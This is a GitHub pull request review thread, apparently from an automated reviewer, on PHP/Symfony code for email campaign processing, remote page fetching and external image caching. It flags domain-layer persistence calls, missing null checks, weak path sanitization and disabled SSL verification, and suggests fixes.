360-364: Exception handling is delegated to message bus framework—no action needed.
MessageCacheMissingExceptionis thrown in a Symfony#[AsMessageHandler]and will be caught and handled by Symfony Messenger's framework. When the exception propagates from__invoke(), the message bus automatically handles it via logging, retry policies, and dead-letter queue configuration. This is the correct pattern for message handlers.
| if ($cacheFileContent === null) { | ||
| $cacheFileContent = $this->downloadUsingFileGetContent($filename); | ||
| } | ||
|
|
||
| if ($this->externalImageMaxSize && (strlen($cacheFileContent) > $this->externalImageMaxSize)) { | ||
| $cacheFileContent = 'MAX_SIZE'; | ||
| } | ||
|
|
||
| $this->writeCacheFile($cacheFileName, $cacheFileContent); |
There was a problem hiding this comment.
Null check needed before strlen on line 68.
If both downloadUsingCurl and downloadUsingFileGetContent return null (after applying the fixes above), strlen($cacheFileContent) will fail. Add a null guard.
🔎 Suggested fix
if ($cacheFileContent === null) {
$cacheFileContent = $this->downloadUsingFileGetContent($filename);
}
+ if ($cacheFileContent === null) {
+ return false;
+ }
+
if ($this->externalImageMaxSize && (strlen($cacheFileContent) > $this->externalImageMaxSize)) {🤖 Prompt for AI Agents
In src/Domain/Common/ExternalImageService.php around lines 64–72, strlen() is
called on $cacheFileContent without guarding for null; update the logic to first
check $cacheFileContent !== null before performing the size check (i.e. only run
the externalImageMaxSize/strlen branch when $cacheFileContent is not null) and
ensure the value passed to writeCacheFile is null-safe (either the downloaded
content, or a clear failure marker like 'DOWNLOAD_FAILED' / 'MAX_SIZE' depending
on the condition) so writeCacheFile never receives an unexpected null that would
break downstream logic.
| private function passesBlacklistCheck(?string $to, ?bool $skipBlacklistCheck): bool | ||
| { | ||
|
|
||
| if (!$skipBlacklistCheck && $this->blacklistRepository->isEmailBlacklisted($to)) { | ||
| $this->eventLogManager->log('', sprintf('Error, %s is blacklisted, not sending', $to)); | ||
| $subscriber = $this->subscriberRepository->findOneByEmail($to); | ||
| if (!$subscriber) { | ||
| $this->logger->error('Error: subscriber not found', ['email' => $to]); | ||
|
|
||
| return false; | ||
| } | ||
| $subscriber->setBlacklisted(true); | ||
|
|
||
| $this->subscriberHistoryManager->addHistory( | ||
| subscriber: $subscriber, | ||
| message: 'Marked Blacklisted', | ||
| details: 'Found user in blacklist while trying to send an email, marked black listed', | ||
| ); | ||
|
|
||
| return false; | ||
| } | ||
|
|
||
| return true; | ||
| } |
There was a problem hiding this comment.
Subscriber marked blacklisted but not persisted.
Line 115 calls $subscriber->setBlacklisted(true) but there's no flush() or persist() call. The change won't be saved to the database. Consider whether this should be persisted (probably needs to be handled in the calling layer per domain purity guidelines).
🤖 Prompt for AI Agents
In src/Domain/Messaging/Service/Builder/EmailBuilder.php around lines 104-127,
the code marks the Subscriber as blacklisted via
$subscriber->setBlacklisted(true) but never persists or flushes that change so
it will not be saved to the DB; either persist/flush the change here or
(preferably per domain-purity) do not persist in this method and instead return
an explicit signal so the caller can persist. Fix by one of two approaches: A)
inject the appropriate repository/entity manager and call persist/flush after
setBlacklisted(true) and update logs/histories accordingly; or B) remove
responsibility for persistence from this method, return false plus a flag or
throw a domain event that the caller will handle and persist the subscriber
change there; implement the chosen approach consistently and add a comment
documenting that persistence is handled by the caller if you choose option B.
| public function createCachedLogoImage(int $size): void | ||
| { | ||
| $logoImageId = $this->configProvider->getValue(ConfigOption::OrganisationLogo); | ||
| if (empty($logoImageId)) { | ||
| return; | ||
| } | ||
|
|
||
| $orgLogoImage = $this->templateImageRepository->findByFilename(sprintf('ORGANISATIONLOGO%s.png', $size)); | ||
| if ($orgLogoImage !== null && !empty($orgLogoImage->getData())) { | ||
| return; | ||
| } | ||
|
|
||
| $logoImage = $this->templateImageRepository->findById((int) $logoImageId); | ||
| if ($logoImage === null) { | ||
| return; | ||
| } | ||
|
|
||
| $imageContent = $this->decodeLogoImageData($logoImage->getData()); | ||
| if ($imageContent === null) { | ||
| return; | ||
| } | ||
|
|
||
| $imgSize = getimagesizefromstring($imageContent); | ||
| if ($imgSize === false) { | ||
| return; | ||
| } | ||
|
|
||
| [$newWidth, $newHeight, $sizeFactor] = $this->calculateDimensions($imgSize, $size); | ||
|
|
||
| $imageContent = $this->resizeImageIfNecessary( | ||
| $imageContent, | ||
| $imgSize, | ||
| $newWidth, | ||
| $newHeight, | ||
| $sizeFactor, | ||
| $orgLogoImage | ||
| ); | ||
|
|
||
| // else copy original | ||
| $templateImage = (new TemplateImage()) | ||
| ->setFilename('ORGANISATIONLOGO' . $size . '.png') | ||
| ->setMimetype($imgSize['mime']) | ||
| ->setData(base64_encode($imageContent)) | ||
| ->setWidth($newWidth) | ||
| ->setHeight($newHeight); | ||
|
|
||
| $this->templateImageRepository->persist($templateImage); | ||
| } |
There was a problem hiding this comment.
Domain layer must not perform persistence operations.
Line 159 calls templateImageRepository->persist($templateImage). This is a persistence operation in the domain layer on a regular entity. Per coding guidelines, the domain method should return the TemplateImage entity to be persisted by the Application layer caller, or make this method void and have the caller handle both creation and persistence.
As per coding guidelines, domain layer should not use $repository->persist(...) for non-DynamicListAttr entities.
🤖 Prompt for AI Agents
In src/Domain/Messaging/Service/Manager/TemplateImageManager.php around lines
113-160, the domain method createCachedLogoImage performs a persistence call
($this->templateImageRepository->persist(...)) which violates the rule that the
domain layer must not persist regular entities; instead modify the method to
return the created TemplateImage (or null) without calling persist so the
Application layer can handle persistence, i.e., remove the persist call and
change the signature/return to return the TemplateImage instance (or adjust the
caller to receive the image data/object and persist it).
| private function resizeImageIfNecessary( | ||
| string $imageContent, | ||
| array $imgSize, | ||
| mixed $newWidth, | ||
| mixed $newHeight, | ||
| mixed $sizeFactor, | ||
| ?TemplateImage $orgLogoImage | ||
| ): string { | ||
| if ($sizeFactor >= 1) { | ||
| return $imageContent; | ||
| } | ||
|
|
||
| $original = imagecreatefromstring($imageContent); | ||
| //# creates a black image (why would you want that....) | ||
| $resized = imagecreatetruecolor($newWidth, $newHeight); | ||
| imagesavealpha($resized, true); | ||
| //# white. All the methods to make it transparent didn't work for me @@TODO really make transparent | ||
| $transparent = imagecolorallocatealpha($resized, 255, 255, 255, 127); | ||
| imagefill($resized, 0, 0, $transparent); | ||
| [$sizeW, $sizeH] = [$imgSize[0], $imgSize[1]]; | ||
|
|
||
| if (imagecopyresized( | ||
| $resized, | ||
| $original, | ||
| 0, | ||
| 0, | ||
| 0, | ||
| 0, | ||
| $newWidth, | ||
| $newHeight, | ||
| $sizeW, | ||
| $sizeH, | ||
| )) { | ||
| if ($orgLogoImage !== null) { | ||
| $this->templateImageRepository->remove($orgLogoImage); | ||
| } | ||
|
|
||
| //# rather convoluted way to get the image contents | ||
| $buffer = ob_get_contents(); | ||
| ob_end_clean(); | ||
| ob_start(); | ||
| imagepng($resized); | ||
| $imageContent = ob_get_contents(); | ||
| ob_end_clean(); | ||
| echo $buffer; | ||
| } | ||
|
|
||
| return $imageContent; | ||
| } |
There was a problem hiding this comment.
Domain layer must not perform persistence operations.
Line 226 calls templateImageRepository->remove($orgLogoImage). This is a persistence operation in the domain layer. Per coding guidelines, remove this side effect and handle removal in the Application layer.
As per coding guidelines, domain layer should not use $repository->remove(...) for non-DynamicListAttr entities.
TatevikGr
force-pushed
the
ref/campaign-processing
branch
from
3bb34cd to
b6e2ee2
Compare
There was a problem hiding this comment.
Actionable comments posted: 6
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (2)
34-50: Domain layer must not perform persistence operations.Line 45 calls
$this->templateImageRepository->persist($image)on a regular entity. Per coding guidelines, domain services should not invoke persistence APIs on non-DynamicListAttr entities. Instead, return the array ofTemplateImageentities and let the Application layer caller handle persistence.As per coding guidelines, domain layer should not use
$repository->persist(...)for non-DynamicListAttr entities.🔎 Suggested approach
Remove the
persist()call and let the caller handle persistence:$templateImages = []; foreach ($imagePaths as $path) { $image = new TemplateImage(); $image->setTemplate($template); $image->setFilename($path); $image->setMimeType($this->guessMimeType($path)); $image->setData(null); - $this->templateImageRepository->persist($image); $templateImages[] = $image; } return $templateImages;Then have the Application layer caller persist each image after calling this method.
94-97: Domain layer must not perform persistence operations.Line 96 calls
$this->templateImageRepository->remove($templateImage). Per coding guidelines, the domain layer should not invokeremove()on regular entities. Make this methodvoidor return a boolean indicating intent, and let the Application layer handle the actual removal.As per coding guidelines, domain layer should not use
$repository->remove(...)for non-DynamicListAttr entities.
♻️ Duplicate comments (16)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (3)
113-160: Domain layer must not perform persistence operations.Line 159 calls
$this->templateImageRepository->persist($templateImage). This same issue was flagged in previous reviews. Per coding guidelines, the domain method should return the createdTemplateImageentity (or make the method return the entity) so the Application layer can handle persistence.As per coding guidelines, domain layer should not use
$repository->persist(...)for non-DynamicListAttr entities.
225-227: Domain layer must not perform persistence operations.Line 226 calls
$this->templateImageRepository->remove($orgLogoImage). This same issue was flagged in previous reviews. Per coding guidelines, remove this side effect and handle removal in the Application layer.As per coding guidelines, domain layer should not use
$repository->remove(...)for non-DynamicListAttr entities.
229-236: Output buffer handling is fragile and leaky.Lines 230-236 implement the same convoluted buffer capture that was previously flagged. The code captures content before
ob_start()is called, then echoes the old buffer after capturing image data. This can corrupt output and cause unexpected side effects.🔎 Recommended fix
Replace the fragile buffer sequence with a clean, local buffer:
if (imagecopyresized( $resized, $original, 0, 0, 0, 0, $newWidth, $newHeight, $sizeW, $sizeH, )) { if ($orgLogoImage !== null) { $this->templateImageRepository->remove($orgLogoImage); } - //# rather convoluted way to get the image contents - $buffer = ob_get_contents(); - ob_end_clean(); ob_start(); imagepng($resized); - $imageContent = ob_get_contents(); - ob_end_clean(); - echo $buffer; + $imageContent = ob_get_clean(); } return $imageContent;src/Domain/Common/RemotePageFetcher.php (3)
48-59: Cache lookup logic seems contradictory.Line 52 calls
findByUrlAndLastModified($url, $lastModified)where$lastModified = time(). Based on the repository snippet, this likely queries for entries wherelastModified > time()- i.e., future-dated entries. This effectively bypasses the DB cache on this path. If the intention is to always fetch fresh content here, the commented rationale and the code don't quite align.#!/bin/bash # Check the repository method to understand the query logic cat -n src/Domain/Configuration/Repository/UrlCacheRepository.php
65-68: Domain layer persistence violation with EntityManager::remove().Line 67 calls
$this->entityManager->remove($cache)directly. Per the coding guidelines,src/Domain/**should not have persistence side effects. Thepersist()call on line 70 via repository is acceptable, but the directEntityManager::remove()should be moved to the repository.🔎 Proposed fix
Add a
removeAll(array $caches)ordeleteByUrl(string $url)method toUrlCacheRepository:// In UrlCacheRepository public function removeByUrl(string $url): void { $caches = $this->getByUrl($url); foreach ($caches as $cache) { $this->entityManager->remove($cache); } }Then in RemotePageFetcher:
- $caches = $this->urlCacheRepository->getByUrl($url); - foreach ($caches as $cache) { - $this->entityManager->remove($cache); - } + $this->urlCacheRepository->removeByUrl($url);
116-121: Encoding conversion corrupts URL on each iteration.Line 119 converts
$urlfrom UTF-8 to ISO-8859-1 on every loop iteration. After multiple substitutions, non-ASCII characters will be progressively lost. Either remove the encoding entirely (if UTF-8 is the standard) or convert once after the loop.🔎 Proposed fix - remove unnecessary conversion
foreach ($userData as $key => $val) { if ($key !== 'password') { $url = str_replace('[' . $key . ']', rawurlencode($val), $url); - $url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8'); } }If ISO-8859-1 output is truly required, convert once at the end:
foreach ($userData as $key => $val) { if ($key !== 'password') { $url = str_replace('[' . $key . ']', rawurlencode($val), $url); } } + $url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8'); return $this->expandUrl($url);src/Domain/Common/ExternalImageService.php (4)
64-72: Null guard and error marker issues remain unaddressed.Two issues here that were flagged previously:
- If both download methods return
null, line 68 callsstrlen($cacheFileContent)onnull, causing aTypeErrorin PHP 8+.- Writing
'MAX_SIZE'as content corrupts the cache - this marker will pass the> 64 bytesvalidation check and be served as base64-encoded "image data."🔎 Proposed fix
if ($cacheFileContent === null) { $cacheFileContent = $this->downloadUsingFileGetContent($filename); } + if ($cacheFileContent === null) { + $this->logger->warning('Failed to download external image', ['url' => $filename]); + return false; + } + if ($this->externalImageMaxSize && (strlen($cacheFileContent) > $this->externalImageMaxSize)) { - $cacheFileContent = 'MAX_SIZE'; + $this->logger->warning('External image exceeds max size', [ + 'url' => $filename, + 'size' => strlen($cacheFileContent), + 'max' => $this->externalImageMaxSize, + ]); + return false; } $this->writeCacheFile($cacheFileName, $cacheFileContent);
108-115: Path traversal sanitization remains weak.The regex approach doesn't fully neutralize path traversal. A crafted URL could still escape the cache directory. Using
basename()on the URL path would be more robust.🔎 Proposed fix
private function generateLocalFileName(string $filename, int $messageId): string { - return $this->externalCacheDir - . '/' - . $messageId - . '_' - . preg_replace([ '~[\.][\.]+~Ui', '~[^\w\.]~Ui',], ['', '_'], $filename); + $path = parse_url($filename, PHP_URL_PATH) ?: $filename; + $sanitized = preg_replace('~[^\w.\-]~', '_', basename($path)); + return $this->externalCacheDir . '/' . $messageId . '_' . $sanitized; }
138-143: Error marker strings still written to cache content.Lines 139 and 142 assign error strings like
'CURL_ERROR_7'or'HTTP_CODE_404'to$cacheFileContent. These will be written to disk and potentially served as corrupted image data. Returnnullon error instead.🔎 Proposed fix
if ($cURLErrNo != 0) { - $cacheFileContent = 'CURL_ERROR_' . $cURLErrNo; + $this->logger->error('cURL error downloading image', [ + 'url' => $filename, + 'errno' => $cURLErrNo, + ]); + return null; } if ($cURLInfo['http_code'] >= 400) { - $cacheFileContent = 'HTTP_CODE_' . $cURLInfo['http_code']; + $this->logger->error('HTTP error downloading image', [ + 'url' => $filename, + 'http_code' => $cURLInfo['http_code'], + ]); + return null; }
149-165: Return type mismatch and error marker issue.The method returns
'FGC_ERROR'on failure, which will corrupt the cache. The return type should be?stringand returnnullon failure.🔎 Proposed fix
- private function downloadUsingFileGetContent(string $filename): string + private function downloadUsingFileGetContent(string $filename): ?string { $remoteURLContext = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => $this->externalImageMaxSize, 'max_redirects' => '10', ] ]); $cacheFileContent = file_get_contents($filename, false, $remoteURLContext); if ($cacheFileContent === false) { - $cacheFileContent = 'FGC_ERROR'; + $this->logger->error('file_get_contents error downloading image', ['url' => $filename]); + return null; } return $cacheFileContent; }src/Domain/Messaging/Service/Builder/EmailBuilder.php (4)
104-127: Subscriber blacklist change not persisted.Line 115 calls
$subscriber->setBlacklisted(true)but there's nopersist()orflush()call, so this change won't be saved to the database. ThesubscriberHistoryManager->addHistory()does persist the history entry, but the subscriber entity change itself is orphaned.Per domain purity guidelines, this service shouldn't call
flush(). However, the caller (buildPhplistEmail) returnsnullafter this, so there's no opportunity for the calling code to flush.Consider one of these approaches:
- Return a result object that signals the caller to persist the subscriber
- Move the blacklist marking to the caller layer (MessageHandler) where persistence is allowed
129-143: Dev mode with no devEmail leaves destinationEmail empty.If
devVersionis true butdevEmailis null/empty,$destinationEmailstays as''. This empty string gets passed to the email, potentially causing send failures or unexpected behavior.Suggested fix
private function resolveDestinationEmailAndMessage(?string $to, ?string $message): array { - $destinationEmail = ''; - if ($this->devVersion) { $message = 'To: ' . $to . PHP_EOL . $message; - if ($this->devEmail) { - $destinationEmail = $this->devEmail; - } + $destinationEmail = $this->devEmail ?? $to; } else { $destinationEmail = $to; } return [$destinationEmail, $message]; }
177-179: Unreachable "X-Originally to" header logic.When
devVersionis true anddevEmailis set,resolveDestinationEmailAndMessagesets$destinationEmail = $this->devEmail. The condition at line 177 ($destinationEmail !== $this->devEmail) will always be false, so the header is never added.To preserve the original recipient for debugging, you'd need to compare against the original
$toparameter:- if ($this->devEmail && $destinationEmail !== $this->devEmail) { - $email->getHeaders()->addTextHeader('X-Originally to', $destinationEmail); + if ($this->devVersion && $this->devEmail && $to !== $destinationEmail) { + $email->getHeaders()->addTextHeader('X-Originally to', $to); }This requires passing
$totocreateBaseEmailor storing it before resolution.
196-206: Embedded images still not attached; return value discarded.Line 199 calls
templateImageEmbedderbut:
- The return value (HTML with embedded CID references) is discarded
- The embedder's
$attachmentarray is never accessed$email->html($htmlMessage)is set on line 197 before the embedder runsThe email will have the original HTML without embedded image CIDs, and no attachments.
Also, lines 198, 203, and 205 set
$email->text($textMessage)three times - the last call makes the previous two redundant.Suggested fix
private function applyContentAndFormatting(Email $email, $htmlMessage, $textMessage, int $messageId): void { $newWrap = $this->configProvider->getValue(ConfigOption::WordWrap); if ($newWrap) { $textMessage = wordwrap($textMessage, (int)$newWrap); } if (!empty($htmlMessage)) { - $email->html($htmlMessage); - $email->text($textMessage); - ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); - //# In the above phpMailer strips all tags, which removes the links - // which are wrapped in < and > by HTML2text - //# so add it again - $email->text($textMessage); + $processedHtml = ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); + $email->html($processedHtml); + // TODO: Attach embedded images from $this->templateImageEmbedder->attachment } $email->text($textMessage); }src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (1)
40-44: Null subject will cause TypeError.
MessagePrecacheDto::subjectis nullable (?string), but Symfony'sEmail::subject()requires a non-null string. Ifsubjectis null, this will throw a TypeError at runtime.return $email ->to($subscriber->getEmail()) - ->subject($messagePrecacheDto->subject) + ->subject($messagePrecacheDto->subject ?? '') ->text($messagePrecacheDto->textContent) ->html($html);src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
312-316: Potential empty array access on getTo().Line 314 accesses
$email->getTo()[0]but doesn't verify thatgetTo()returns a non-empty array. While unlikely givenbuildPhplistEmailsets a recipient, a defensive check would be safer:if (!$email) { continue; } + if (empty($email->getTo())) { + $this->logger->warning('Email has no recipients', ['notification' => $notification]); + continue; + } // todo: check if from name should be from config $envelope = new Envelope(
🧹 Nitpick comments (10)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (1)
192-199: Prefer specific type hints overmixed.Lines 195-197 use
mixedfor parameters that are clearlyint(newWidth, newHeight) andfloat(sizeFactor) based on how they're calculated incalculateDimensions. Using specific types improves type safety and IDE support.🔎 Proposed type hint improvements
private function resizeImageIfNecessary( string $imageContent, array $imgSize, - mixed $newWidth, - mixed $newHeight, - mixed $sizeFactor, + int $newWidth, + int $newHeight, + float $sizeFactor, ?TemplateImage $orgLogoImage ): string {src/Domain/Common/TextParser.php (1)
58-61: Consider optimizing placeholder restoration.The loop does
$indexseparatepreg_replacecalls. Since the placeholders are fixed strings (%%0%%,%%1%%, etc.), you could usestr_replacefor a minor performance gain, or build a single replacement map.💡 Alternative with str_replace
for ($j = 0; $j < $index; ++$j) { $replacement = $link[$j]; - $text = preg_replace('/\%\%' . $j . '\%\%/', $replacement, $text); + $text = str_replace('%%' . $j . '%%', $replacement, $text); }src/Domain/Common/ExternalImageService.php (1)
93-94: TODO comment needs clarification or resolution.The comment
// todo: make sure that this is what we needsuggests uncertainty. The current logic skips hidden files (starting with.), which seems reasonable for a cache directory. Either confirm this is correct and remove the TODO, or clarify what needs verification.Would you like me to help clarify the intended behavior here?
tests/Unit/Domain/Common/RemotePageFetcherTest.php (1)
170-202: Good URL expansion test, could be stronger on password exclusion.The test covers placeholder substitution and URL expansion. Consider adding an explicit assertion (via argument capture on
request()) that the password placeholder wasn't substituted, since that's security-critical behavior.src/Domain/Common/RemotePageFetcher.php (1)
81-93: HTTP options look correct now.The
max_redirectsandtimeoutoptions are valid Symfony HttpClient parameters. Consider adding debug-level logging in the catch block to aid troubleshooting.src/Domain/Messaging/Service/MessageDataLoader.php (1)
221-234: Minor: Consider strict comparison for consistency.Line 224 uses
!=while line 231 uses!==. For consistency and to avoid type coercion surprises, consider using strict comparison throughout.- if ($messageData['subject'] != '(no subject)') { + if ($messageData['subject'] !== '(no subject)') {src/Domain/Messaging/Service/Builder/EmailBuilder.php (2)
145-152: Parameter type is overly permissive.Line 147 declares
$destinationEmailasmixed, but it should be?stringto match what's actually passed fromresolveDestinationEmailAndMessage.private function createBaseEmail( int $messageId, - mixed $destinationEmail, + ?string $destinationEmail, ?string $fromEmail,
55-59: Clean up or address commented code.Lines 57-58 have commented-out replyTo logic. Either implement this functionality or remove the dead code to keep the codebase clean.
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (2)
94-111: Remove or document commented legacy code.Lines 94-111 contain a large block of commented-out legacy logic. If this is intentional dead code pending removal, consider deleting it. If it's a reference for future implementation, add a clear TODO with a tracking issue.
127-146: Additional commented code block.Same as above - lines 127-146 contain another large commented block. Consider cleaning this up to improve maintainability.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (13)
config/PhpCodeSniffer/ruleset.xmlconfig/parameters.yml.distresources/translations/messages.en.xlfsrc/Domain/Common/ExternalImageService.phpsrc/Domain/Common/RemotePageFetcher.phpsrc/Domain/Common/TextParser.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Model/Dto/MessagePrecacheDto.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Messaging/Service/Manager/TemplateImageManager.phpsrc/Domain/Messaging/Service/MessageDataLoader.phpsrc/Domain/Messaging/Service/RateLimitedCampaignMailer.phptests/Unit/Domain/Common/RemotePageFetcherTest.php
🚧 Files skipped from review as they are similar to previous changes (3)
- resources/translations/messages.en.xlf
- config/parameters.yml.dist
- src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php
🧰 Additional context used
📓 Path-based instructions (2)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/Service/Manager/TemplateImageManager.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Common/TextParser.phpsrc/Domain/Messaging/Service/RateLimitedCampaignMailer.phpsrc/Domain/Messaging/Service/MessageDataLoader.phpsrc/Domain/Common/ExternalImageService.phpsrc/Domain/Common/RemotePageFetcher.php
src/**/MessageHandler/**
⚙️ CodeRabbit configuration file
src/**/MessageHandler/**: Background jobs/workers may perform persistence and schema management.
- ✅ Allow
$entityManager->flush()when the job is the orchestration boundary.- ✅ Allow table creation, migration, or schema synchronization (e.g. via Doctrine SchemaTool or SchemaManager),
as this is considered infrastructure-level orchestration.- For DynamicListAttr-related jobs, it is fine to orchestrate both data and schema changes here,
as long as responsibilities remain clear and behavior is predictable.- Verify idempotency for schema operations where practical — e.g., check if a table exists before creating.
- Ensure domain-layer code invoked by the job (outside the DynamicListAttr exception) remains free of persistence calls.
- Batch flush operations where practical.
Files:
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
🧬 Code graph analysis (6)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (2)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Repository/TemplateImageRepository.php (3)
TemplateImageRepository(12-46)findByFilename(16-24)findById(26-34)
src/Domain/Messaging/Service/Builder/EmailBuilder.php (5)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Service/SystemMailConstructor.php (2)
SystemMailConstructor(13-103)__construct(17-25)src/Domain/Messaging/Service/TemplateImageEmbedder.php (2)
TemplateImageEmbedder(16-307)__construct(33-44)src/Domain/Subscription/Repository/UserBlacklistRepository.php (4)
UserBlacklistRepository(14-60)__construct(16-22)isEmailBlacklisted(45-59)findOneByEmail(38-43)src/Domain/Subscription/Service/Manager/SubscriberHistoryManager.php (2)
SubscriberHistoryManager(18-143)addHistory(45-56)
tests/Unit/Domain/Common/RemotePageFetcherTest.php (5)
src/Domain/Common/HtmlUrlRewriter.php (1)
HtmlUrlRewriter(11-208)src/Domain/Common/RemotePageFetcher.php (1)
RemotePageFetcher(17-125)src/Domain/Configuration/Repository/UrlCacheRepository.php (1)
UrlCacheRepository(12-32)src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Configuration/Model/UrlCache.php (1)
setLastModified(69-73)
src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (2)
src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (1)
MessagePrecacheDto(8-31)src/Domain/Messaging/Message/AsyncEmailMessage.php (1)
getReplyTo(49-52)
src/Domain/Messaging/Service/MessageDataLoader.php (3)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Repository/MessageDataRepository.php (2)
MessageDataRepository(12-26)getForMessage(22-25)src/Domain/Messaging/Repository/MessageRepository.php (2)
MessageRepository(16-119)getNonEmptyFields(103-118)
src/Domain/Common/ExternalImageService.php (1)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)
🔇 Additional comments (20)
config/PhpCodeSniffer/ruleset.xml (1)
106-110: Nice fix! Duplicate rule resolved.The duplicate
Squiz.WhiteSpace.OperatorSpacingdeclaration has been successfully removed. You kept the version with theignoreNewlinesproperty in the Whitespace section where it belongs, which is exactly what was needed. The XML is clean and the configuration looks good.src/Domain/Messaging/Service/Manager/TemplateImageManager.php (4)
28-32: Constructor refactoring looks solid.Switching from
EntityManagertoTemplateImageRepositoryandConfigProvideris a step in the right direction for domain layer separation.
99-111: Clean placeholder parsing logic.The regex-based logo placeholder replacement is straightforward and handles optional size parameters correctly.
162-175: Fallback handling looks good.The single base64 decode with fallback to a minimal placeholder PNG is clean and handles the empty case gracefully.
177-190: Dimension calculation logic is solid.The aspect-ratio-preserving resize math correctly handles both portrait and landscape orientations.
src/Domain/Common/TextParser.php (2)
9-11: Clean start.The method signature and leading whitespace trim are straightforward and safe.
67-83: Placeholder logic is functional.The substitution of special characters and newlines with placeholders works as intended. No issues here.
src/Domain/Common/ExternalImageService.php (2)
16-25: LGTM on constructor setup.Clean dependency injection with sensible defaults. The cache directory derivation from
$tempDiris straightforward.
203-220: Nice job on the write validation.The partial write detection and logging is solid. Good use of
LOCK_EXfor atomicity.tests/Unit/Domain/Common/RemotePageFetcherTest.php (5)
21-40: Clean test setup with proper mocking.Good use of intersection types for mock declarations. The
setUp()method properly initializes all required mocks.
56-74: Good coverage of the PSR cache path.Properly verifies that when in-memory cache is fresh, neither DB nor HTTP are touched.
76-100: Solid DB cache fallback test.Correctly validates the DB cache path when PSR cache misses but DB has fresh content.
102-148: Comprehensive happy-path coverage.This test validates the full fetch-rewrite-cache flow nicely. The
atLeast(2)expectation correctly reflects the implementation's cache-checking pattern.
150-168: Good failure path coverage.Properly verifies that HTTP failures don't poison the cache and return empty string.
src/Domain/Common/RemotePageFetcher.php (2)
19-29: Constructor looks clean, but EntityManager dependency is concerning.The
EntityManagerInterfacedependency hints at persistence operations in the domain layer. Based on the coding guidelines forsrc/Domain/**, this should be flagged.
95-109: URL expansion logic is solid.Good use of
str_contains()for the query string check, and proper handling of the delimiter. Thestrip_tags()andtrim()sanitization is appropriate.src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (1)
24-45: LGTM on the DTO-based refactor.The transition from MessageContent to MessagePrecacheDto looks clean. The HTML body now correctly combines
contentwithhtmlFooter(line 38), addressing the prior review feedback.src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (3)
166-173: Good addition of SendStart tracking.Setting
SendStartwhen transitioning toInProcessstatus (if not already set) is a nice improvement for campaign analytics.
291-331: Well-structured admin notification handling.Good implementation:
- Null check for
UniqueConstraintViolationExceptionhandling for idempotent marker persistence is solid- Persistence in MessageHandler is appropriate per coding guidelines
360-364: Cache miss handling improved.Good fix - throwing
MessageCacheMissingExceptionwhen the precached DTO is missing prevents the type error that would occur when passing null tohandleEmailSending. This is a clear, explicit failure mode.
| curl_setopt($cURLHandle, CURLOPT_TIMEOUT, $this->externalImageTimeout); | ||
| curl_setopt($cURLHandle, CURLOPT_FOLLOWLOCATION, true); | ||
| curl_setopt($cURLHandle, CURLOPT_MAXREDIRS, 10); | ||
| curl_setopt($cURLHandle, CURLOPT_SSL_VERIFYPEER, false); |
There was a problem hiding this comment.
Disabling SSL peer verification is a security risk.
CURLOPT_SSL_VERIFYPEER => false disables certificate validation, making the connection vulnerable to MITM attacks. Consider making this configurable or removing it.
🤖 Prompt for AI Agents
In src/Domain/Common/ExternalImageService.php at line 128,
CURLOPT_SSL_VERIFYPEER is being set to false which disables certificate
validation and is a security risk; change this so SSL peer verification is
enabled by default (set to true or remove the explicit false), and if you need
to support environments with self-signed certs make it configurable via a
constructor/config option (e.g., allow a boolean flag or environment value) that
defaults to true, document the option, and ensure any exception or SSL error is
handled/logged rather than silently bypassing verification.
